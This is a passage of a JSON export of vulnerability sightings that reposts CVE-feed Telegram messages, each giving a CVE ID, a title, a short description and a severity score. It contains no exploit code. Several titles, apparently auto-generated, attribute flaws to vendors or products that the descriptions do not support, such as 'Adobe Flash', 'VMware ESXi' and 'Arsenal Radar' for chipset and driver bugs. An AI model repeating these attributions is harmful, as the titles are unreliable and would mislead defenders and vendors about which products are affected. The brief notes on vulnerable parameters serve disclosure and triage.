Transient DOS while handling PS event when Program Service name length offset value is set to 255. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T14:42:54.000000Z"}, {"uuid": "18eb9d16-bf5f-4f45-b08f-dc52a9eb918f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33050", "type": "seen", "source": "https://t.me/cvedetector/4613", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33050 - Transient DOS while parsing MBSSID during new IE g\", \n  \"Content\": \"CVE ID : CVE-2024-33050 \nPublished : Sept. 2, 2024, 12:15 p.m. | 25\u00a0minutes ago \nDescription : Transient DOS while parsing MBSSID during new IE generation in beacon/probe frame when IE length check is either missing or improper. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T14:42:51.000000Z"}, {"uuid": "7dacc530-dbfe-4b25-bc71-ba99e8c96433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33035", "type": "seen", "source": "https://t.me/cvedetector/4616", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33035 - ARM Mali Graphics Frameworkteams.CORRUPT_MEMORY\", \n  \"Content\": \"CVE ID : CVE-2024-33035 \nPublished : Sept. 2, 2024, 12:15 p.m. | 25\u00a0minutes ago \nDescription : Memory corruption while calculating total metadata size when a very high reserved size is requested by gralloc clients. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T14:42:53.000000Z"}, {"uuid": "ce02826b-68e0-4dd7-98b8-f292363f5111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33047", "type": "seen", "source": "https://t.me/cvedetector/4615", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33047 - QDCM CaptureRead Memory Corruption\", \n  \"Content\": \"CVE ID : CVE-2024-33047 \nPublished : Sept. 2, 2024, 12:15 p.m. | 25\u00a0minutes ago \nDescription : Memory corruption when the captureRead QDCM command is invoked from user-space. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T14:42:52.000000Z"}, {"uuid": "d6d86059-d637-4e23-b0e4-c041b22543f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33051", "type": "seen", "source": "https://t.me/cvedetector/4632", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33051 - Cisco Wireless LAN Authentication Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33051 \nPublished : Sept. 2, 2024, 12:15 p.m. | 55\u00a0minutes ago \nDescription : Transient DOS while processing TIM IE from beacon frame as there is no check for IE length. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T15:33:18.000000Z"}, {"uuid": "47d5e244-404d-4e28-812c-1d1c46cf5f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33052", "type": "seen", "source": "https://t.me/cvedetector/4631", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33052 - Adobe Flash Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33052 \nPublished : Sept. 2, 2024, 12:15 p.m. | 55\u00a0minutes ago \nDescription : Memory corruption when user provides data for FM HCI command control operations. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T15:33:15.000000Z"}, {"uuid": "c76d0541-2db6-4853-9f6c-de975fde8066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33054", "type": "seen", "source": "https://t.me/cvedetector/4629", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33054 - VMware ESXi Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-33054 \nPublished : Sept. 2, 2024, 12:15 p.m. | 55\u00a0minutes ago \nDescription : Memory corruption during the handshake between the Primary Virtual Machine and Trusted Virtual Machine. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T15:33:13.000000Z"}, {"uuid": "c852f81c-ac15-4e46-bd1e-1e8916983e2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33060", "type": "seen", "source": "https://t.me/cvedetector/4628", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33060 - Microsoft Windows Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33060 \nPublished : Sept. 2, 2024, 12:15 p.m. | 54\u00a0minutes ago \nDescription : Memory corruption when two threads try to map and unmap a single node simultaneously. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T15:33:12.000000Z"}, {"uuid": "a286238a-88a9-491e-a3c2-da6ce4640c03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33057", "type": "seen", "source": "https://t.me/cvedetector/4627", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33057 - Myricom Layer 2 Ethernet Switch Remote Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-33057 \nPublished : Sept. 2, 2024, 12:15 p.m. | 54\u00a0minutes ago \nDescription : Transient DOS while parsing the multi-link element Control field when common information length check is missing before updating the location. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T15:33:11.000000Z"}, {"uuid": "5449c3e5-1233-4717-98b8-192f24fbbdde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33038", "type": "seen", "source": "https://t.me/cvedetector/4620", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33038 - \"Texas Instruments TMS320 Chip Memory Corruption Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-33038 \nPublished : Sept. 2, 2024, 12:15 p.m. | 25\u00a0minutes ago \nDescription : Memory corruption while passing untrusted/corrupted pointers from DSP to EVA. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T14:43:00.000000Z"}, {"uuid": "a56f106c-c3c2-4036-b7c4-5290a32e64de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33045", "type": "seen", "source": "https://t.me/cvedetector/4619", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33045 - CIRRUS Logic ADSP Slimbus BTFM Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33045 \nPublished : Sept. 2, 2024, 12:15 p.m. | 25\u00a0minutes ago \nDescription : Memory corruption when BTFM client sends new messages over Slimbus to ADSP. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T14:42:59.000000Z"}, {"uuid": "f36ded1f-f153-4b5c-a287-6c5dd91aa9c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33042", "type": "seen", "source": "https://t.me/cvedetector/4618", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33042 - \"Arsenal Radar Memory Corruption\"\", \n  \"Content\": \"CVE ID : CVE-2024-33042 \nPublished : Sept. 2, 2024, 12:15 p.m. | 25\u00a0minutes ago \nDescription : Memory corruption when Alternative Frequency offset value is set to 255. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T14:42:58.000000Z"}, {"uuid": "3bcedf8a-15ef-4575-866c-b67c89eb67cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33016", "type": "seen", "source": "https://t.me/cvedetector/4623", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33016 - Intelbras Firehose Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33016 \nPublished : Sept. 2, 2024, 12:15 p.m. | 25\u00a0minutes ago \nDescription : memory corruption when an invalid firehose patch command is invoked. \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-02T14:43:05.000000Z"}, {"uuid": "6fa27000-14a0-42b4-8d60-34e24b37a81c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33698", "type": "seen", "source": "https://t.me/cvedetector/5222", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33698 - \"Siemens SIMATIC UMC Heap-Based Buffer Overflow\"\", \n  \"Content\": \"CVE ID : CVE-2024-33698 \nPublished : Sept. 10, 2024, 10:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability has been identified in SIMATIC Information Server 2022 (All versions), SIMATIC Information Server 2024 (All versions), SIMATIC PCS neo V4.0 (All versions), SIMATIC PCS neo V4.1 (All versions Severity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-10T13:24:06.000000Z"}, {"uuid": "79945ffd-6e5a-40d1-8f72-05bdc52f6a84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33854", "type": "seen", "source": "https://t.me/cvedetector/4033", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33854 - Centreon Web SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33854 \nPublished : Aug. 23, 2024, 5:15 p.m. | 19\u00a0minutes ago \nDescription : A SQL Injection vulnerability exists in the Graph Template component in Centreon Web 24.04.x before 24.04.3, 23.10.x before 23.10.13, 23.04.x before 23.04.19, and 22.10.x before 22.10.23. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-23T19:38:59.000000Z"}, {"uuid": "88e6f745-8ed2-4a64-a988-5c60335d1159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33657", "type": "seen", "source": "https://t.me/cvedetector/3807", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33657 - VMware Server Memory Manager Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33657 \nPublished : Aug. 21, 2024, 5:15 p.m. | 30\u00a0minutes ago \nDescription : This SMM vulnerability affects certain modules, allowing privileged attackers to execute arbitrary code, manipulate stack memory, and leak information from SMRAM to kernel space, potentially leading to denial-of-service attacks. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-21T19:55:48.000000Z"}, {"uuid": "56409db1-321d-4910-89e7-a70832daf8f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33656", "type": "seen", "source": "https://t.me/cvedetector/3809", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33656 - AMD SmmComputrace OS Memory Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-33656 \nPublished : Aug. 21, 2024, 5:15 p.m. | 30\u00a0minutes ago \nDescription : The DXE module SmmComputrace contains a vulnerability that allows local attackers to leak stack or global memory. This could lead to privilege escalation, arbitrary code execution, and bypassing OS security mechanisms \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-21T19:55:49.000000Z"}, {"uuid": "8b517320-4319-465f-8da2-757da111e68a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33895", "type": "seen", "source": "https://t.me/cvedetector/2370", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33895 - Cosy+ Devices Master Key Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-33895 \nPublished : Aug. 2, 2024, 6:16 p.m. | 21\u00a0minutes ago \nDescription : Cosy+ devices running a firmware 21.x below 21.2s10 or a firmware 22.x below 22.1s3 use a unique key to encrypt the configuration parameters. This is fixed in version 21.2s10 and 22.1s3, the key is now unique per device. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-02T20:42:33.000000Z"}, {"uuid": "eba596e8-e8ba-43ee-b71b-e1a935bf8619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33974", "type": "seen", "source": "https://t.me/cvedetector/2555", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33974 - PayPal Payment System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33974 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following 'Users in '/report/printlogs.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:34.000000Z"}, {"uuid": "a2c93b05-1cc5-47e9-ade8-2bcce4e1be71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33957", "type": "seen", "source": "https://t.me/cvedetector/2554", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33957 - E-Negosyo System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33957 \nPublished : Aug. 6, 2024, 11:16 a.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in E-Negosyo System affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in 'id' in '/admin/orders/controller.php' parameter \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:22.000000Z"}, {"uuid": "9b58ab73-5b84-45d1-aac2-3730b8d98086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33958", "type": "seen", "source": "https://t.me/cvedetector/2553", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33958 - E-Negosyo System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-33958 \nPublished : Aug. 6, 2024, 11:16 a.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in E-Negosyo System affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in 'phonenumber' in '/passwordrecover.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:21.000000Z"}, {"uuid": "f9da29ef-c18f-426d-972f-6d9f19cd809e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33975", "type": "seen", "source": "https://t.me/cvedetector/2552", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33975 - E-Negosyo System XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33975 \nPublished : Aug. 6, 2024, 11:16 a.m. | 37\u00a0minutes ago \nDescription : Cross-Site Scripting (XSS) vulnerability in E-Negosyo System affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted JavaScript payload to an authenticated user and partially take over their browser session via\u00a0'view' parameter in '/admin/products/index.php'. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:20.000000Z"}, {"uuid": "a68ae02d-b6a1-4f08-899f-af5e1ea2fb1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33977", "type": "seen", "source": "https://t.me/cvedetector/2551", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33977 - E-Negosyo System Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-33977 \nPublished : Aug. 6, 2024, 11:16 a.m. | 37\u00a0minutes ago \nDescription : Cross-Site Scripting (XSS) vulnerability in E-Negosyo System affecting version 1.0. An attacker could create a specially crafted URL and send it to a victim to obtain their session cookie details via 'view' parameter in /admin/orders/index.php'. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:18.000000Z"}, {"uuid": "e9bff240-0a5b-4b1a-98cd-1562d08eb065", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33976", "type": "seen", "source": "https://t.me/cvedetector/2550", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33976 - E-Negosyo XSS\", \n  \"Content\": \"CVE ID : CVE-2024-33976 \nPublished : Aug. 6, 2024, 11:16 a.m. | 37\u00a0minutes ago \nDescription : Cross-Site Scripting (XSS) vulnerability in E-Negosyo System affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted JavaScript payload to an authenticated user and partially take over their browser session via\u00a0'id' parameter in '/admin/user/index.php'. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T14:10:18.000000Z"}, {"uuid": "6f3e4712-7376-469b-a0f3-e94fec7dcc92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33012", "type": "seen", "source": "https://t.me/cvedetector/2467", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33012 - Aruba Wi-Fi DOS Vulnerability (Denial of Service)\", \n  \"Content\": \"CVE ID : CVE-2024-33012 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Transient DOS while parsing the multiple MBSSID IEs from the beacon, when the tag length is non-zero value but with end of beacon. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:39.000000Z"}, {"uuid": "83c28f11-f08c-423f-87f6-5999c280b09c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33969", "type": "seen", "source": "https://t.me/cvedetector/2560", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33969 - PayPal SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33969 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following  'id' in '/AttendanceMonitoring/department/index.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:42.000000Z"}, {"uuid": "017e8b73-6b2d-4536-a0c6-aa616428f6a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33970", "type": "seen", "source": "https://t.me/cvedetector/2559", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33970 - PayPal Credit Card Debit Card SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33970 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following  'studid' in '/candidate/controller.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:38.000000Z"}, {"uuid": "9c50eae2-3034-4036-89af-2c207bcd4b44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33971", "type": "seen", "source": "https://t.me/cvedetector/2558", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33971 - PayPal SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33971 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following   'username' in '/login.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:37.000000Z"}, {"uuid": "734c682c-1e36-4ec1-89f8-313a4077dead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33963", "type": "seen", "source": "https://t.me/cvedetector/2566", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33963 - PayPal \"Payment\" SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33963 \nPublished : Aug. 6, 2024, 12:15 p.m. | 37\u00a0minutes ago \nDescription : SQL injection vulnerability in PayPal, Credit Card and Debit Card Payment affecting version 1.0. An attacker could exploit this vulnerability by sending a specially crafted query to the server and retrieve all the information stored in it through the following 'id' in '/admin/mod_room/index.php' parameter. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-06T15:00:48.000000Z"}, {"uuid": "41d0311b-4555-4285-be06-ebfecfba29b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33872", "type": "seen", "source": "https://t.me/cvedetector/3644", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33872 - Keyfactor Command SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33872 \nPublished : Aug. 20, 2024, 2:15 p.m. | 41\u00a0minutes ago \nDescription : Keyfactor Command 10.5.x before 10.5.1 and 11.5.x before 11.5.1 allows SQL Injection which could result in code execution and escalation of privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-20T17:08:02.000000Z"}, {"uuid": 